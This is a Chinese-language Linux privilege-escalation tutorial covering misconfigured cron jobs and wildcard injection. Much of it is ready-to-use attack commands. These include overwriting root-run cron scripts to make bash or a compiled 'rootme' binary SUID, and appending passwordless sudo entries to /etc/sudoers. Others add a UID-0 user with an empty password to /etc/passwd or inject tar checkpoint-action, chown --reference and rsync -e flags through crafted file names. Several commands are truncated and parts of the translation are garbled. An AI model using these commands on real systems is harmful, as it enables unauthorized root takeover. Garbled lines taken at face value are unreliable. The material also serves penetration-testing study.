2.我们可以覆盖cron文件本身吗?
3.cron.d目录可写吗?
Cronjob通常以root特权运行。如果我们可以成功篡改cronjob中定义的任何脚本或二进制文件,那么我们可以以root特权执行任意代码。
什么是Cronjob?
CronJobs被用于通过在服务器上的特定日期和时间执行命令来安排任务。它们最常用于sysadmin任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它存在于/etc目录中。
例如:在crontab内部,我们可以添加以下条目,以每1小时自动打印一次apache错误日志。
1 0 * * * printf “” > /var/log/apache/error_log
crontab就是一个自定义定时器。前五个数字值表示执行cronjob的时间:
分钟–第一个值表示介于0到59之间的分钟范围,而*表示任何分钟。
小时–第二个值表示小时范围在0到24之间,*表示任何小时。
月中的某天–第三个值表示月中的某日,范围是1到31,*表示任何一天。
月–第四个值表示1到12之间的月份范围,*表示任何月份。
星期几–第五个值表示从星期天开始的星期几,介于0到6之间,*表示星期几。
Cron特权升级概述
cron守护程序计划在指定的日期和时间运行命令。它与特定用户一起运行命令。因此,我们可以尝试滥用它来实现特权升级。
滥用cron的一个好方法是:
1.检查cron运行的脚本的文件权限。如果权限设置不正确,则攻击者可能会覆盖文件并轻松获取cron中设置的用户权限。
2.另一种方法是使用通配符技巧
Cron信息收集:
一些基本命令收集一些线索,以使用错误配置的cron实现特权升级。
crontab -l 显示当前用户的cron ls -la /etc/cron* 显示计划的作业概述
具有特权的运行脚本,其他用户可以编辑该脚本。
查找特权用户拥有但可写的任何内容:
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron*
cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
查看其他用户的crontab:
$ crontab -u tstark -l 0 0 * * * / jarvis / reboot-arc-reactor
如果服务器上有很多用户,那么可以在cron日志中看到详细信息,可能包含用户名。
例如,在这里我可以看到运行数据库备份脚本的ubuntu用户:
8月5日4:05:01 dev01 CRON [2128]:(ubuntu)CMD(/var/cronitor/database-backup.sh)
使用pspy工具(32位为pspy32,64位为pspy64)。
下载链接:GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions
3.9.1 利用配置错误的cronjob获得root访问权限
$ ls -la /etc/cron.d –输出cron.d中已经存在的cronjob
find / -perm -2 -type f 2> / dev / null –输出可写文件 ls -la /usr/local/sbin/cron-logrotate.sh –让我们确认cron-logrotate.sh是否可写。
我们知道cron-lograte.sh是可写的,它由logrotatecronjob运行。那么我们在cron-lograte.sh中编写/附加的任何命令都将以“root”身份执行。
我们在/tmp目录中编写一个C文件并进行编译。
rootme可执行文件将生成一个shell。
$ ls -la rootme –它告诉我们它是由用户'SHayslett'拥有的
$ echo“ chown root:root / tmp / rootme; chmod u + s /tmp/rootme;”>/usr/local
$ ls -la rootme – 5分钟后,运行了logrotate cronjob,并以root特权执行了cron-logro
$ ./rootme –生成一个root shell。
Cron脚本覆盖和符号链接:
如果可以修改由root执行的cron脚本,则可以非常轻松地获取shell:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT> #Wait until it is executed
#等待执行
/tmp/bash -p
如果root用户执行的脚本使用具有完全访问权限的目录,则删除该文件夹并创建一个符号链接文件夹到另一个服务于您控制的脚本的文件夹可能会很有用。
ln -d -s < / PATH / TO / POINT > < / PATH / CREATE / FOLDER >
定时任务:
可以监视进程以搜索每1,2或5分钟执行的进程。可以利用它并提升特权。
例如,要在1分钟内每隔0.1s监视一次,按执行次数较少的命令排序并删除一直执行的命令,可以执行以下操作:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1;
总结
由于Cron在执行时以root身份运行/etc/crontab,因此crontab调用的任何命令或脚本也将以root身份运行。当Cron执行的脚本可由非特权用户编辑时,那些非特权用户可以通过编辑此脚本并等待Cron以root特权执行该脚本来提升其特权!
例如,假设下面的行在中/etc/crontab。每天晚上9:30,Cron运行maintenance.shshell脚本。该脚本在root特权下运行。
30 21 * * * root /path/to/maintenance.sh
现在让我们说该maintenance.sh脚本还可以由所有人编辑,而不仅仅是root用户。在这种情况下,
任何人都可以将命令添加到maintenance.sh,并使该命令由root用户执行!
这使得特权升级变得微不足道。例如,攻击者可以通过将自己添加为Sudoer来向自己授予超级用户特权。
echo "vickie ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
或者,他们可以通过将新的root用户添加到“/etc/passwd”文件来获得root访问权限。由于“0”是root用户的UID,因此添加UID为“0”的用户将为该用户提供root特权。该用户的用户名为“vickie”,密码为空:
echo "vickie::0:0:System Administrator:/root/root:/bin/bash" >> /etc/passwd 等等。
3.10 通配符注入 提权
通配符是代表其他字符的符号。可以将它们与任何命令(例如cat或rm命令)一起使用,以列出或删除符合给定条件的文件。还有其他一些,但是现在对我们很重要的一个是*字符,它可以匹配任意数量的字符。
例如:
cat *显示当前目录中所有文件的内容
rm *删除当前目录中的所有文件
它的工作原理是将*角色扩展到所有匹配的文件。如果我们有文件a,b并且c在当前目录中并运行rm *,则结果为rm abc。
原理
众所周知,我们可以在命令行中将标志传递给程序以指示其应如何运行。例如,如果我们使用rm -rf而不是rm,那么它将递归并强制删除文件,而无需进一步提示。
现在,如果我们运行rm 并在当前目录中有一个名为name的文件,将会发生什么-rf?的Shell扩展将导致命令变为,rm -rf abc并且-rf将被解释为命令参数。
当特权用户或脚本在具有潜在危险标志的命令中使用通配符时,尤其是与外部命令执行相关的通配符,这是一个坏消息。在这些情况下,我们可能会使用它来升级特权。
chown和chmod:
chown和chmod都可以用相同的方式利用,因此我只看看chown。
Chown是一个程序,可让您更改指定文件的所有者。以下示例将some-file.txt的所有者更改为some-user:
chown some-user some-file.txt
Chown具有一个--reference=some-reference-file标志,该标志指定文件的所有者应与参考文件的所有者相同。一个例子应该有帮助:
chown some-user some-file.txt --reference=some-reference-file
假设的所有者some-reference-file是another-user。在这种情况下,所有者some-file.txt将another-user代替some-user。
利用:
假设我们有一个名为弱势程序的脆弱程序,其中包含以下内容:
cd some-directory chown root *
在这种情况下,让我们创建一个我们拥有的文件:
cd some-directory touch reference
然后我们创建一个文件,将注入标记:
touch -- --reference=reference
如果在同一目录中创建到/etc/passwd的符号链接,则/etc/passwd的所有者也将是您,这将使您获得rootshell。
其他
TAR
Tar是一个程序,可让您将文件收集到存档中。
在tar中,有“检查点”标志,这些标志使您可以在归档指定数量的文件后执行操作。由于我们可以使用通配符注入来注入那些标志,因此我们可以使用检查点来执行我们选择的命令。如果tar以root用户身份运行,则命令也将以root用户身份运行。
鉴于存在此漏洞,获得root用户特权的一种简单方法是使自己成为sudoer。sudoer是可以承担root特权的用户。这些用户在/etc/sudoers文件中指定。只需在该文件上追加一行,我们就可以使自己变得更轻松。
利用
假设我们有一个易受攻击的程序,并且使用cron定期运行该程序。该程序包含以下内容:
cd important-directory tar cf /var/backups/backup.tar *
进行根访问的步骤如下:
1)注入一个标志来指定我们的检查点
首先,我们将指定在归档一个文件之后,有一个检查点。稍后我们将对该检查点执行操作,但是现在我们仅告诉tar它存在。
让我们创建一个将注入标记的文件:
cd important-directory touch -- --checkpoint=1
2)编写恶意的Shell脚本
Shell脚本将/etc/sudoers在其后追加代码,这会使您变得更加无礼。
您需要添加到的行/etc/sudoers是my-user ALL=(root) NOPASSWD: ALL。
让我们创建shell脚本:
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' >demo.sh
Shell脚本应与通配符位于同一目录中。
请注意,我们将必须更改my-user为要成为sudoer的实际用户。
3)注入一个指定检查点动作的标志
现在,我们将指定,当tar到达在步骤#1中指定的检查点时,它应运行在步骤#2中创建的shell脚本:
touch -- "--checkpoint-action=exec=sh demo.sh"
4)root
等待,直到cron执行了脚本并通过键入以下内容获得root特权:
sudo su
rsync
Rsync是“快速,通用,远程(和本地)文件复制工具”,在linux系统上非常常见。
与rsync一起使用的一些有趣的标志是:
-e, --rsh=COMMAND specify the remote shell to use --rsync-path=PROGRAM specify the rsync to run on remote machine
我们可以使用该-e标志来运行所需的任何Shell脚本。让我们创建一个shell脚本,它将我们添加到sudoers文件中:
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' >shell.sh
现在让我们注入将运行我们的shell脚本的标志:
touch -- "-e sh shell.sh"